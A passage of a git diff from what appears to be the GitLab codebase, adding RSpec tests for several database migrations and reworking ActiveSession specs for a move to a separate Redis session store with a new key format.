index 00000000000..6a82ed016af
--- /dev/null
+++ b/spec/migrations/20211117084814_migrate_remaining_u2f_registrations_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe MigrateRemainingU2fRegistrations, :migration do
+ let(:u2f_registrations) { table(:u2f_registrations) }
+ let(:webauthn_registrations) { table(:webauthn_registrations) }
+ let(:users) { table(:users) }
+
+ let(:user) { users.create!(email: 'email@email.com', name: 'foo', username: 'foo', projects_limit: 0) }
+
+ before do
+ create_u2f_registration(1, 'reg1')
+ create_u2f_registration(2, 'reg2')
+ create_u2f_registration(3, '')
+ create_u2f_registration(4, nil)
+ webauthn_registrations.create!({ name: 'reg1', u2f_registration_id: 1, credential_xid: '', public_key: '', user_id: user.id })
+ end
+
+ it 'correctly migrates u2f registrations previously not migrated' do
+ expect { migrate! }.to change { webauthn_registrations.count }.from(1).to(4)
+ end
+
+ it 'migrates all valid u2f registrations depite errors' do
+ create_u2f_registration(5, 'reg3', 'invalid!')
+ create_u2f_registration(6, 'reg4')
+
+ expect { migrate! }.to change { webauthn_registrations.count }.from(1).to(5)
+ end
+
+ def create_u2f_registration(id, name, public_key = nil)
+ device = U2F::FakeU2F.new(FFaker::BaconIpsum.characters(5), { key_handle: SecureRandom.random_bytes(255) })
+ public_key ||= Base64.strict_encode64(device.origin_public_key_raw)
+ u2f_registrations.create!({ id: id,
+ certificate: Base64.strict_encode64(device.cert_raw),
+ key_handle: U2F.urlsafe_encode64(device.key_handle_raw),
+ public_key: public_key,
+ counter: 5,
+ name: name,
+ user_id: user.id })
+ end
+end
diff --git a/spec/migrations/20211126115449_encrypt_static_objects_external_storage_auth_token_spec.rb b/spec/migrations/20211126115449_encrypt_static_objects_external_storage_auth_token_spec.rb
new file mode 100644
index 00000000000..bc8b7c56676
--- /dev/null
+++ b/spec/migrations/20211126115449_encrypt_static_objects_external_storage_auth_token_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe EncryptStaticObjectsExternalStorageAuthToken, :migration do
+ let(:application_settings) do
+ Class.new(ActiveRecord::Base) do
+ self.table_name = 'application_settings'
+ end
+ end
+
+ context 'when static_objects_external_storage_auth_token is not set' do
+ it 'does nothing' do
+ application_settings.create!
+
+ reversible_migration do |migration|
+ migration.before -> {
+ settings = application_settings.first
+
+ expect(settings.static_objects_external_storage_auth_token).to be_nil
+ expect(settings.static_objects_external_storage_auth_token_encrypted).to be_nil
+ }
+
+ migration.after -> {
+ settings = application_settings.first
+
+ expect(settings.static_objects_external_storage_auth_token).to be_nil
+ expect(settings.static_objects_external_storage_auth_token_encrypted).to be_nil
+ }
+ end
+ end
+ end
+
+ context 'when static_objects_external_storage_auth_token is set' do
+ it 'encrypts static_objects_external_storage_auth_token' do
+ settings = application_settings.create!
+ settings.update_column(:static_objects_external_storage_auth_token, 'Test')
+
+ reversible_migration do |migration|
+ migration.before -> {
+ settings = application_settings.first
+
+ expect(settings.static_objects_external_storage_auth_token).to eq('Test')
+ expect(settings.static_objects_external_storage_auth_token_encrypted).to be_nil
+ }
+ migration.after -> {
+ settings = application_settings.first
+
+ expect(settings.static_objects_external_storage_auth_token).to eq('Test')
+ expect(settings.static_objects_external_storage_auth_token_encrypted).to be_present
+ }
+ end
+ end
+ end
+end
diff --git a/spec/migrations/20211126204445_add_task_to_work_item_types_spec.rb b/spec/migrations/20211126204445_add_task_to_work_item_types_spec.rb
new file mode 100644
index 00000000000..b80e4703f07
--- /dev/null
+++ b/spec/migrations/20211126204445_add_task_to_work_item_types_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe AddTaskToWorkItemTypes, :migration do
+ include MigrationHelpers::WorkItemTypesHelper
+
+ let_it_be(:work_item_types) { table(:work_item_types) }
+
+ let(:base_types) do
+ {
+ issue: 0,
+ incident: 1,
+ test_case: 2,
+ requirement: 3,
+ task: 4
+ }
+ end
+
+ after(:all) do
+ # Make sure base types are recreated after running the migration
+ # because migration specs are not run in a transaction
+ reset_work_item_types
+ end
+
+ it 'skips creating the record if it already exists' do
+ reset_db_state_prior_to_migration
+ work_item_types.find_or_create_by!(name: 'Task', namespace_id: nil, base_type: base_types[:task], icon_name: 'issue-type-task')
+
+ expect do
+ migrate!
+ end.to not_change(work_item_types, :count)
+ end
+
+ it 'adds task to base work item types' do
+ reset_db_state_prior_to_migration
+
+ expect do
+ migrate!
+ end.to change(work_item_types, :count).from(4).to(5)
+
+ expect(work_item_types.all.pluck(:base_type)).to include(base_types[:task])
+ end
+
+ def reset_db_state_prior_to_migration
+ # Database needs to be in a similar state as when this migration was created
+ work_item_types.delete_all
+ work_item_types.find_or_create_by!(name: 'Issue', namespace_id: nil, base_type: base_types[:issue], icon_name: 'issue-type-issue')
+ work_item_types.find_or_create_by!(name: 'Incident', namespace_id: nil, base_type: base_types[:incident], icon_name: 'issue-type-incident')
+ work_item_types.find_or_create_by!(name: 'Test Case', namespace_id: nil, base_type: base_types[:test_case], icon_name: 'issue-type-test-case')
+ work_item_types.find_or_create_by!(name: 'Requirement', namespace_id: nil, base_type: base_types[:requirement], icon_name: 'issue-type-requirements')
+ end
+end
diff --git a/spec/migrations/20211130165043_backfill_sequence_column_for_sprints_table_spec.rb b/spec/migrations/20211130165043_backfill_sequence_column_for_sprints_table_spec.rb
new file mode 100644
index 00000000000..809ee53462f
--- /dev/null
+++ b/spec/migrations/20211130165043_backfill_sequence_column_for_sprints_table_spec.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe BackfillSequenceColumnForSprintsTable, :migration, schema: 20211126042235 do
+ let(:migration) { described_class.new }
+ let(:namespaces) { table(:namespaces) }
+ let(:sprints) { table(:sprints) }
+ let(:iterations_cadences) { table(:iterations_cadences) }
+
+ let!(:group) { namespaces.create!(name: 'foo', path: 'foo') }
+ let!(:cadence_1) { iterations_cadences.create!(group_id: group.id, title: "cadence 1") }
+ let!(:cadence_2) { iterations_cadences.create!(group_id: group.id, title: "cadence 2") }
+ let!(:iteration_1) { sprints.create!(id: 1, group_id: group.id, iterations_cadence_id: cadence_1.id, start_date: Date.new(2021, 11, 1), due_date: Date.new(2021, 11, 5), iid: 1, title: 'a' ) }
+ let!(:iteration_2) { sprints.create!(id: 2, group_id: group.id, iterations_cadence_id: cadence_1.id, start_date: Date.new(2021, 12, 1), due_date: Date.new(2021, 12, 5), iid: 2, title: 'b') }
+ let!(:iteration_3) { sprints.create!(id: 3, group_id: group.id, iterations_cadence_id: cadence_2.id, start_date: Date.new(2021, 12, 1), due_date: Date.new(2021, 12, 5), iid: 4, title: 'd') }
+ let!(:iteration_4) { sprints.create!(id: 4, group_id: group.id, iterations_cadence_id: nil, start_date: Date.new(2021, 11, 15), due_date: Date.new(2021, 11, 20), iid: 3, title: 'c') }
+
+ describe '#up' do
+ it "correctly sets the sequence attribute with idempotency" do
+ migration.up
+
+ expect(iteration_1.reload.sequence).to be 1
+ expect(iteration_2.reload.sequence).to be 2
+ expect(iteration_3.reload.sequence).to be 1
+ expect(iteration_4.reload.sequence).to be nil
+
+ iteration_5 = sprints.create!(id: 5, group_id: group.id, iterations_cadence_id: cadence_1.id, start_date: Date.new(2022, 1, 1), due_date: Date.new(2022, 1, 5), iid: 1, title: 'e' )
+
+ migration.down
+ migration.up
+
+ expect(iteration_1.reload.sequence).to be 1
+ expect(iteration_2.reload.sequence).to be 2
+ expect(iteration_5.reload.sequence).to be 3
+ expect(iteration_3.reload.sequence).to be 1
+ expect(iteration_4.reload.sequence).to be nil
+ end
+ end
+end
diff --git a/spec/migrations/20211203091642_add_index_to_projects_on_marked_for_deletion_at_spec.rb b/spec/migrations/20211203091642_add_index_to_projects_on_marked_for_deletion_at_spec.rb
new file mode 100644
index 00000000000..2e1289c58f7
--- /dev/null
+++ b/spec/migrations/20211203091642_add_index_to_projects_on_marked_for_deletion_at_spec.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe AddIndexToProjectsOnMarkedForDeletionAt do
+ it 'correctly migrates up and down' do
+ reversible_migration do |migration|
+ migration.before -> {
+ expect(ActiveRecord::Base.connection.indexes('projects').map(&:name)).not_to include('index_projects_not_aimed_for_deletion')
+ }
+
+ migration.after -> {
+ expect(ActiveRecord::Base.connection.indexes('projects').map(&:name)).to include('index_projects_not_aimed_for_deletion')
+ }
+ end
+ end
+end
diff --git a/spec/migrations/schedule_recalculate_vulnerability_finding_signatures_for_findings_spec.rb b/spec/migrations/schedule_recalculate_vulnerability_finding_signatures_for_findings_spec.rb
new file mode 100644
index 00000000000..2545bb4a66c
--- /dev/null
+++ b/spec/migrations/schedule_recalculate_vulnerability_finding_signatures_for_findings_spec.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe ScheduleRecalculateVulnerabilityFindingSignaturesForFindings, :migration do
+ before do
+ allow(Gitlab).to receive(:ee?).and_return(ee?)
+ stub_const("#{described_class.name}::BATCH_SIZE", 2)
+ end
+
+ context 'when the Gitlab instance is FOSS' do
+ let(:ee?) { false }
+
+ it 'does not run the migration' do
+ expect { migrate! }.not_to change { BackgroundMigrationWorker.jobs.size }
+ end
+ end
+
+ context 'when the Gitlab instance is EE' do
+ let(:ee?) { true }
+
+ let_it_be(:namespaces) { table(:namespaces) }
+ let_it_be(:projects) { table(:projects) }
+ let_it_be(:findings) { table(:vulnerability_occurrences) }
+ let_it_be(:scanners) { table(:vulnerability_scanners) }
+ let_it_be(:identifiers) { table(:vulnerability_identifiers) }
+ let_it_be(:vulnerability_finding_signatures) { table(:vulnerability_finding_signatures) }
+
+ let_it_be(:namespace) { namespaces.create!(name: 'test', path: 'test') }
+ let_it_be(:project) { projects.create!(namespace_id: namespace.id, name: 'gitlab', path: 'gitlab') }
+
+ let_it_be(:scanner) do
+ scanners.create!(project_id: project.id, external_id: 'trivy', name: 'Security Scanner')
+ end
+
+ let_it_be(:identifier) do
+ identifiers.create!(project_id: project.id,
+ fingerprint: 'd432c2ad2953e8bd587a3a43b3ce309b5b0154c123',
+ external_type: 'SECURITY_ID',
+ external_id: 'SECURITY_0',
+ name: 'SECURITY_IDENTIFIER 0')
+ end
+
+ let_it_be(:finding1) { findings.create!(finding_params) }
+ let_it_be(:signature1) { vulnerability_finding_signatures.create!(finding_id: finding1.id, algorithm_type: 0, signature_sha: ::Digest::SHA1.digest(SecureRandom.hex(50))) }
+
+ let_it_be(:finding2) { findings.create!(finding_params) }
+ let_it_be(:signature2) { vulnerability_finding_signatures.create!(finding_id: finding2.id, algorithm_type: 0, signature_sha: ::Digest::SHA1.digest(SecureRandom.hex(50))) }
+
+ let_it_be(:finding3) { findings.create!(finding_params) }
+ let_it_be(:signature3) { vulnerability_finding_signatures.create!(finding_id: finding3.id, algorithm_type: 0, signature_sha: ::Digest::SHA1.digest(SecureRandom.hex(50))) }
+
+ it 'schedules the background jobs', :aggregate_failure do
+ Sidekiq::Testing.fake! do
+ freeze_time do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(2)
+ expect(described_class::MIGRATION)
+ .to be_scheduled_migration_with_multiple_args(signature1.id, signature2.id)
+ expect(described_class::MIGRATION)
+ .to be_scheduled_migration_with_multiple_args(signature3.id, signature3.id)
+ end
+ end
+ end
+
+ def finding_params
+ uuid = SecureRandom.uuid
+
+ {
+ severity: 0,
+ confidence: 5,
+ report_type: 2,
+ project_id: project.id,
+ scanner_id: scanner.id,
+ primary_identifier_id: identifier.id,
+ location: nil,
+ project_fingerprint: SecureRandom.hex(20),
+ location_fingerprint: Digest::SHA1.hexdigest(SecureRandom.hex(10)),
+ uuid: uuid,
+ name: "Vulnerability Finding #{uuid}",
+ metadata_version: '1.3',
+ raw_metadata: '{}'
+ }
+ end
+ end
+end
diff --git a/spec/migrations/schedule_update_timelogs_null_spent_at_spec.rb b/spec/migrations/schedule_update_timelogs_null_spent_at_spec.rb
new file mode 100644
index 00000000000..a81059518e6
--- /dev/null
+++ b/spec/migrations/schedule_update_timelogs_null_spent_at_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe ScheduleUpdateTimelogsNullSpentAt do
+ let_it_be(:namespace) { table(:namespaces).create!(name: 'namespace', path: 'namespace') }
+ let_it_be(:project) { table(:projects).create!(namespace_id: namespace.id) }
+ let_it_be(:issue) { table(:issues).create!(project_id: project.id) }
+ let_it_be(:merge_request) { table(:merge_requests).create!(target_project_id: project.id, source_branch: 'master', target_branch: 'feature') }
+ let_it_be(:timelog1) { create_timelog!(merge_request_id: merge_request.id) }
+ let_it_be(:timelog2) { create_timelog!(merge_request_id: merge_request.id) }
+ let_it_be(:timelog3) { create_timelog!(merge_request_id: merge_request.id) }
+ let_it_be(:timelog4) { create_timelog!(issue_id: issue.id) }
+ let_it_be(:timelog5) { create_timelog!(issue_id: issue.id) }
+
+ before_all do
+ table(:timelogs).where.not(id: timelog3.id).update_all(spent_at: nil)
+ end
+
+ it 'correctly schedules background migrations' do
+ stub_const("#{described_class}::BATCH_SIZE", 2)
+
+ Sidekiq::Testing.fake! do
+ freeze_time do
+ migrate!
+
+ expect(described_class::MIGRATION)
+ .to be_scheduled_delayed_migration(2.minutes, timelog1.id, timelog2.id)
+
+ expect(described_class::MIGRATION)
+ .to be_scheduled_delayed_migration(4.minutes, timelog4.id, timelog5.id)
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(2)
+ end
+ end
+ end
+
+ private
+
+ def create_timelog!(**args)
+ table(:timelogs).create!(**args, time_spent: 1)
+ end
+end
diff --git a/spec/models/active_session_spec.rb b/spec/models/active_session_spec.rb
index 2fd7b127500..751d31ad95a 100644
--- a/spec/models/active_session_spec.rb
+++ b/spec/models/active_session_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
-RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
+RSpec.describe ActiveSession, :clean_gitlab_redis_sessions do
+ let(:lookup_key) { described_class.lookup_key_name(user.id) }
let(:user) do
create(:user).tap do |user|
user.current_sign_in_at = Time.current
@@ -43,52 +44,88 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
end
describe '.list' do
+ def make_session(id)
+ described_class.new(session_id: id)
+ end
+
it 'returns all sessions by user' do
- Gitlab::Redis::SharedState.with do |redis|
- redis.set("session:user:gitlab:#{user.id}:6919a6f1bb119dd7396fadc38fd18d0d", Marshal.dump({ session_id: 'a' }))
- redis.set("session:user:gitlab:#{user.id}:59822c7d9fcdfa03725eff41782ad97d", Marshal.dump({ session_id: 'b' }))
- redis.set("session:user:gitlab:9999:5c8611e4f9c69645ad1a1492f4131358", '')
+ Gitlab::Redis::Sessions.with do |redis|
+ # Some deprecated sessions
+ redis.set(described_class.key_name_v1(user.id, "6919a6f1bb119dd7396fadc38fd18d0d"), Marshal.dump(make_session('a')))
+ redis.set(described_class.key_name_v1(user.id, "59822c7d9fcdfa03725eff41782ad97d"), Marshal.dump(make_session('b')))
+ # Some new sessions
+ redis.set(described_class.key_name(user.id, 'some-unique-id-x'), make_session('c').dump)
+ redis.set(described_class.key_name(user.id, 'some-unique-id-y'), make_session('d').dump)
+ # Some red herrings
+ redis.set(described_class.key_name(9999, "5c8611e4f9c69645ad1a1492f4131358"), 'irrelevant')
+ redis.set(described_class.key_name_v1(9999, "5c8611e4f9c69645ad1a1492f4131358"), 'irrelevant')
redis.sadd(
- "session:lookup:user:gitlab:#{user.id}",
+ lookup_key,
%w[
6919a6f1bb119dd7396fadc38fd18d0d
59822c7d9fcdfa03725eff41782ad97d
+ some-unique-id-x
+ some-unique-id-y
]
)
end
- expect(ActiveSession.list(user)).to match_array [{ session_id: 'a' }, { session_id: 'b' }]
+ expect(described_class.list(user)).to contain_exactly(
+ have_attributes(session_id: 'a'),
+ have_attributes(session_id: 'b'),
+ have_attributes(session_id: 'c'),
+ have_attributes(session_id: 'd')
+ )
end
- it 'does not return obsolete entries and cleans them up' do
- Gitlab::Redis::SharedState.with do |redis|
- redis.set("session:user:gitlab:#{user.id}:6919a6f1bb119dd7396fadc38fd18d0d", Marshal.dump({ session_id: 'a' }))
+ shared_examples 'ignoring obsolete entries' do
+ let(:session_id) { '6919a6f1bb119dd7396fadc38fd18d0d' }
+ let(:session) { described_class.new(session_id: 'a') }
- redis.sadd(
- "session:lookup:user:gitlab:#{user.id}",
- %w[
- 6919a6f1bb119dd7396fadc38fd18d0d
- 59822c7d9fcdfa03725eff41782ad97d
- ]
- )
- end
+ it 'does not return obsolete entries and cleans them up' do
+ Gitlab::Redis::Sessions.with do |redis|
+ redis.set(session_key, serialized_session)
+
+ redis.sadd(
+ lookup_key,
+ [
+ session_id,
+ '59822c7d9fcdfa03725eff41782ad97d'
+ ]
+ )
+ end
- expect(ActiveSession.list(user)).to eq [{ session_id: 'a' }]
+ expect(ActiveSession.list(user)).to contain_exactly(session)
- Gitlab::Redis::SharedState.with do |redis|
- expect(redis.sscan_each("session:lookup:user:gitlab:#{user.id}").to_a).to eq ['6919a6f1bb119dd7396fadc38fd18d0d']
+ Gitlab::Redis::Sessions.with do |redis|
+ expect(redis.sscan_each(lookup_key)).to contain_exactly session_id
+ end
end
end
- it 'returns an empty array if the use does not have any active session' do
- expect(ActiveSession.list(user)).to eq []
+ context 'when the current session is in the old format' do
+ let(:session_key) { described_class.key_name_v1(user.id, session_id) }
+ let(:serialized_session) { Marshal.dump(session) }
+
+ it_behaves_like 'ignoring obsolete entries'
+ end
+
+ context 'when the current session is in the new format' do
+ let(:session_key) { described_class.key_name(user.id, session_id) }
+ let(:serialized_session) { session.dump }
+
+ it_behaves_like 'ignoring obsolete entries'
+ end
+
+ it 'returns an empty array if the user does not have any active session' do
+ expect(ActiveSession.list(user)).to be_empty
end
end
describe '.list_sessions' do
it 'uses the ActiveSession lookup to return original sessions' do
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
# Emulate redis-rack: https://github.com/redis-store/redis-rack/blob/c75f7f1a6016ee224e2615017fbfee964f23a837/lib/rack/session/redis.rb#L88
redis.set("session:gitlab:#{rack_session.private_id}", Marshal.dump({ _csrf_token: 'abcd' }))
@@ -107,19 +144,17 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
describe '.session_ids_for_user' do
it 'uses the user lookup table to return session ids' do
- session_ids = ['59822c7d9fcdfa03725eff41782ad97d']
-
- Gitlab::Redis::SharedState.with do |redis|
- redis.sadd("session:lookup:user:gitlab:#{user.id}", session_ids)
+ Gitlab::Redis::Sessions.with do |redis|
+ redis.sadd(lookup_key, %w[a b c])
end
- expect(ActiveSession.session_ids_for_user(user.id).map(&:to_s)).to eq(session_ids)
+ expect(ActiveSession.session_ids_for_user(user.id).map(&:to_s)).to match_array(%w[a b c])
end
end
describe '.sessions_from_ids' do
it 'uses the ActiveSession lookup to return original sessions' do
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
# Emulate redis-rack: https://github.com/redis-store/redis-rack/blob/c75f7f1a6016ee224e2615017fbfee964f23a837/lib/rack/session/redis.rb#L88
redis.set("session:gitlab:#{rack_session.private_id}", Marshal.dump({ _csrf_token: 'abcd' }))
end
@@ -128,7 +163,7 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
end
it 'avoids a redis lookup for an empty array' do
- expect(Gitlab::Redis::SharedState).not_to receive(:with)
+ expect(Gitlab::Redis::Sessions).not_to receive(:with)
expect(ActiveSession.sessions_from_ids([])).to eq([])
end
@@ -137,7 +172,7 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
stub_const('ActiveSession::SESSION_BATCH_SIZE', 1)
redis = double(:redis)
- expect(Gitlab::Redis::SharedState).to receive(:with).and_yield(redis)
+ expect(Gitlab::Redis::Sessions).to receive(:with).and_yield(redis)
sessions = %w[session-a session-b]
mget_responses = sessions.map { |session| [Marshal.dump(session)]}
@@ -151,49 +186,67 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
it 'sets a new redis entry for the user session and a lookup entry' do
ActiveSession.set(user, request)
- Gitlab::Redis::SharedState.with do |redis|
+ session_id = "2::418729c72310bbf349a032f0bb6e3fce9f5a69df8f000d8ae0ac5d159d8f21ae"
+
+ Gitlab::Redis::Sessions.with do |redis|
expect(redis.scan_each.to_a).to include(
- "session:user:gitlab:#{user.id}:2::418729c72310bbf349a032f0bb6e3fce9f5a69df8f000d8ae0ac5d159d8f21ae",
- "session:lookup:user:gitlab:#{user.id}"
+ described_class.key_name(user.id, session_id), # current session
+ described_class.key_name_v1(user.id, session_id), # support for mixed deployment
+ lookup_key
)
end
end
it 'adds timestamps and information from the request' do
- Timecop.freeze(Time.zone.parse('2018-03-12 09:06')) do
- ActiveSession.set(user, request)
+ time = Time.zone.parse('2018-03-12 09:06')
- session = ActiveSession.list(user)
+ travel_to(time) do
+ described_class.set(user, request)
- expect(session.count).to eq 1
- expect(session.first).to have_attributes(
+ sessions = described_class.list(user)
+
+ expect(sessions).to contain_exactly have_attributes(
ip_address: '127.0.0.1',
browser: 'Mobile Safari',
os: 'iOS',
device_name: 'iPhone 6',
device_type: 'smartphone',
- created_at: Time.zone.parse('2018-03-12 09:06'),
- updated_at: Time.zone.parse('2018-03-12 09:06')
+ created_at: eq(time),
+ updated_at: eq(time)
)
end
end
+ it 'is possible to log in only using the old session key' do
+ session_id = "2::418729c72310bbf349a032f0bb6e3fce9f5a69df8f000d8ae0ac5d159d8f21ae"
+ ActiveSession.set(user, request)
+
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.del(described_class.key_name(user.id, session_id))
+ end
+
+ sessions = ActiveSession.list(user)
+
+ expect(sessions).to be_present
+ end
+
it 'keeps the created_at from the login on consecutive requests' do
- now = Time.zone.parse('2018-03-12 09:06')
+ created_at = Time.zone.parse('2018-03-12 09:06')
+ updated_at = created_at + 1.minute
- Timecop.freeze(now) do
+ travel_to(created_at) do
ActiveSession.set(user, request)
+ end
- Timecop.freeze(now + 1.minute) do
- ActiveSession.set(user, request)
+ travel_to(updated_at) do
+ ActiveSession.set(user, request)
- session = ActiveSession.list(user)
+ session = ActiveSession.list(user)
- expect(session.first).to have_attributes(
- created_at: Time.zone.parse('2018-03-12 09:06'),
- updated_at: Time.zone.parse('2018-03-12 09:07')
- )
- end
+ expect(session.first).to have_attributes(
+ created_at: eq(created_at),
+ updated_at: eq(updated_at)
+ )
end
end
end
@@ -201,22 +254,20 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
describe '.destroy_session' do
shared_examples 'removes all session data' do
before do
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
redis.set("session:user:gitlab:#{user.id}:#{active_session_lookup_key}", '')
# Emulate redis-rack: https://github.com/redis-store/redis-rack/blob/c75f7f1a6016ee224e2615017fbfee964f23a837/lib/rack/session/redis.rb#L88
redis.set("session:gitlab:#{rack_session.private_id}", '')
- redis.set(described_class.key_name(user.id, active_session_lookup_key),
- Marshal.dump(active_session))
- redis.sadd(described_class.lookup_key_name(user.id),
- active_session_lookup_key)
+ redis.set(session_key, serialized_session)
+ redis.sadd(lookup_key, active_session_lookup_key)
end
end
it 'removes the devise session' do
subject
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
expect(redis.scan_each(match: "session:gitlab:*").to_a).to be_empty
end
end
@@ -224,15 +275,15 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
it 'removes the lookup entry' do
subject
- Gitlab::Redis::SharedState.with do |redis|
- expect(redis.scan_each(match: "session:lookup:user:gitlab:#{user.id}").to_a).to be_empty
+ Gitlab::Redis::Sessions.with do |redis|
+ expect(redis.scan_each(match: lookup_key).to_a).to be_empty
end
end
it 'removes the ActiveSession' do
subject
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
expect(redis.scan_each(match: "session:user:gitlab:*").to_a).to be_empty
end
end
@@ -253,7 +304,19 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
let(:active_session) { ActiveSession.new(session_private_id: rack_session.private_id) }
let(:active_session_lookup_key) { rack_session.private_id }
- include_examples 'removes all session data'
+ context 'when using old session key serialization' do
+ let(:session_key) { described_class.key_name_v1(user.id, active_session_lookup_key) }
+ let(:serialized_session) { Marshal.dump(active_session) }
+
+ include_examples 'removes all session data'
+ end
+
+ context 'when using new session key serialization' do
+ let(:session_key) { described_class.key_name(user.id, active_session_lookup_key) }
+ let(:serialized_session) { active_session.dump }
+
+ include_examples 'removes all session data'
+ end
end
end
end
@@ -265,19 +328,17 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
ActiveSession.destroy_all_but_current(user, nil)
end
- context 'with user sessions' do
+ shared_examples 'with user sessions' do
let(:current_session_id) { '6919a6f1bb119dd7396fadc38fd18d0d' }
before do
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
# setup for current user
[current_session_id, '59822c7d9fcdfa03725eff41782ad97d'].each do |session_public_id|
session_private_id = Rack::Session::SessionId.new(session_public_id).private_id
active_session = ActiveSession.new(session_private_id: session_private_id)
- redis.set(described_class.key_name(user.id, session_private_id),
- Marshal.dump(active_session))
- redis.sadd(described_class.lookup_key_name(user.id),
- session_private_id)
+ redis.set(key_name(user.id, session_private_id), dump_session(active_session))
+ redis.sadd(lookup_key, session_private_id)
end
# setup for unrelated user
@@ -285,10 +346,8 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
session_private_id = Rack::Session::SessionId.new('5c8611e4f9c69645ad1a1492f4131358').private_id
active_session = ActiveSession.new(session_private_id: session_private_id)
- redis.set(described_class.key_name(unrelated_user_id, session_private_id),
- Marshal.dump(active_session))
- redis.sadd(described_class.lookup_key_name(unrelated_user_id),
- session_private_id)
+ redis.set(key_name(unrelated_user_id, session_private_id), dump_session(active_session))
+ redis.sadd(described_class.lookup_key_name(unrelated_user_id), session_private_id)
end
end
@@ -303,19 +362,17 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
session_private_id = Rack::Session::SessionId.new(current_session_id).private_id
ActiveSession.destroy_all_but_current(user, request.session)
- Gitlab::Redis::SharedState.with do |redis|
- expect(
- redis.smembers(described_class.lookup_key_name(user.id))
- ).to eq([session_private_id])
+ Gitlab::Redis::Sessions.with do |redis|
+ expect(redis.smembers(lookup_key)).to contain_exactly session_private_id
end
end
it 'does not remove impersonated sessions' do
impersonated_session_id = '6919a6f1bb119dd7396fadc38fd18eee'
- Gitlab::Redis::SharedState.with do |redis|
- redis.set(described_class.key_name(user.id, impersonated_session_id),
- Marshal.dump(ActiveSession.new(session_id: Rack::Session::SessionId.new(impersonated_session_id), is_impersonated: true)))
- redis.sadd(described_class.lookup_key_name(user.id), impersonated_session_id)
+ Gitlab::Redis::Sessions.with do |redis|
+ redis.set(key_name(user.id, impersonated_session_id),
+ dump_session(ActiveSession.new(session_id: Rack::Session::SessionId.new(impersonated_session_id), is_impersonated: true)))
+ redis.sadd(lookup_key, impersonated_session_id)
end
expect { ActiveSession.destroy_all_but_current(user, request.session) }.to change { ActiveSession.session_ids_for_user(user.id).size }.from(3).to(2)
@@ -323,155 +380,289 @@ RSpec.describe ActiveSession, :clean_gitlab_redis_shared_state do
expect(ActiveSession.session_ids_for_user(9999).size).to eq(1)
end
end
- end
- describe '.cleanup' do
- before do
- stub_const("ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS", 5)
- end
+ context 'with legacy sessions' do
+ def key_name(user_id, id)
+ described_class.key_name_v1(user_id, id)
+ end
- it 'removes obsolete lookup entries' do
- Gitlab::Redis::SharedState.with do |redis|
- redis.set("session:user:gitlab:#{user.id}:6919a6f1bb119dd7396fadc38fd18d0d", '')
- redis.sadd("session:lookup:user:gitlab:#{user.id}", '6919a6f1bb119dd7396fadc38fd18d0d')
- redis.sadd("session:lookup:user:gitlab:#{user.id}", '59822c7d9fcdfa03725eff41782ad97d')
+ def dump_session(session)
+ Marshal.dump(session)
end
- ActiveSession.cleanup(user)
+ it_behaves_like 'with user sessions'
+ end
- Gitlab::Redis::SharedState.with do |redis|
- expect(redis.smembers("session:lookup:user:gitlab:#{user.id}")).to eq ['6919a6f1bb119dd7396fadc38fd18d0d']
+ context 'with new sessions' do
+ def key_name(user_id, id)
+ described_class.key_name(user_id, id)
+ end
+
+ def dump_session(session)
+ session.dump
end
+
+ it_behaves_like 'with user sessions'
end
+ end
- it 'does not bail if there are no lookup entries' do
- ActiveSession.cleanup(user)
+ describe '.cleanup' do
+ before do
+ stub_const("ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS", 5)
end
- context 'cleaning up old sessions' do
- let(:max_number_of_sessions_plus_one) { ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS + 1 }
- let(:max_number_of_sessions_plus_two) { ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS + 2 }
+ shared_examples 'cleaning up' do
+ context 'when removing obsolete sessions' do
+ let(:current_session_id) { '6919a6f1bb119dd7396fadc38fd18d0d' }
- before do
- Gitlab::Redis::SharedState.with do |redis|
- (1..max_number_of_sessions_plus_two).each do |number|
- redis.set(
- "session:user:gitlab:#{user.id}:#{number}",
- Marshal.dump(ActiveSession.new(session_id: number.to_s, updated_at: number.days.ago))
- )
- redis.sadd(
